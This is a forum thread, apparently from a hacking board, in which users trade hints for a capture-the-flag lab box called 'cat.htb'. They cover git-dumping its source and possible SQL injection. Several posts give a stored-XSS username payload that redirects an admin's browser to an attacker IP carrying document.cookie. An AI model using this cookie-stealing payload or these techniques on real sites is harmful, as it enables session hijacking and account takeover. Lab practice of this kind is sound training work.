[UnknownSquad]

cat admin.php
<?php
session_start();

include 'config.php';

// Check if the user is logged in
if (!isset($_SESSION['username']) || $_SESSION['username'] !== 'axel') {
    header("Location: /join.php");
    exit();
}

how you got this

git dump

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Leeching | http://c66go4clkqodr7tdjfu76jztjs7w7d3fajdeypxn73v4ju3dt7g5yyyd.onion/Forum-Ban-Appeals if you feel this is incorrect.

[maggi]

[quote="oahofat" pid='1051104' dateline='1738437653']
cat admin.php
<?php
session_start();

include 'config.php';

// Check if the user is logged in
if (!isset($_SESSION['username']) || $_SESSION['username'] !== 'axel') {
    header("Location: /join.php");
    exit();
}

how you got this
[/quote 

Git dumper on the webpage
http://cat.htb/.git

[greg_heffley]

All cat submissions get passed to the admin for verification, so we might have too steal his cookie, but there’s also sql injection in accept_cat.php

[0xdaniii]

All cat submissions get passed to the admin for verification, so we might have too steal his cookie, but there’s also sql injection in accept_cat.php

yeah i know but still i can't able to bypass the verification

[cavour13]

Guys i saw also

commit-meta.txt
2:author Axel <axel2017@gmail.com> 1725146774 +0000
3:committer Axel <axel2017@gmail.com> 1725146774 +0000

but seems to be xss .. don't know why ..

---

bypass can be done by sqlinj

[0xbeef]

Guys i saw also

commit-meta.txt
2:author Axel <axel2017@gmail.com> 1725146774 +0000
3:committer Axel <axel2017@gmail.com> 1725146774 +0000

but seems to be xss .. don't know why ..

---

bypass can be done by sqlinj

Yeah i guess that how we can get axel cookie. But all inputs are protected with some forbidden_patterns

$forbidden_patterns = "/[+*{}',;<>()\\[\\]\\/\\:]/";

Trying to do some SQLi there in the contest.php

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Leeching.

[fl00d777]

Guys i saw also

commit-meta.txt
2:author Axel <axel2017@gmail.com> 1725146774 +0000
3:committer Axel <axel2017@gmail.com> 1725146774 +0000

but seems to be xss .. don't know why ..

---

bypass can be done by sqlinj

where is the SQLi? Is it inside of contest.php ?

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Leeching | http://c66go4clkqodr7tdjfu76jztjs7w7d3fajdeypxn73v4ju3dt7g5yyyd.onion/Forum-Ban-Appeals if you feel this is incorrect.

[0xhdfg]

maybe an SQLi? cuz u can notice this part in content.php:

PHP Code:

$forbidden_patterns = "/[+*{}',;<>()\\[\\]\\/\\:]/"; 


[Test09]

<script>document.location='<http://10.10.x.x/?c='+document.cookie;</script> Xss in your username, you need to send request in the contest with random data

[Steward]

<script>document.location='<http://10.10.x.x/?c='+document.cookie;</script> Xss in your username, you need to send request in the contest with random data

I registered user with the name
<script>document.location='http://10.10.14.14/?c='+document.cookie;</script>
and common password
and then was able to login as this user and contest valid cat.

so if no callback hence something wrong with the instance, or I missed some step?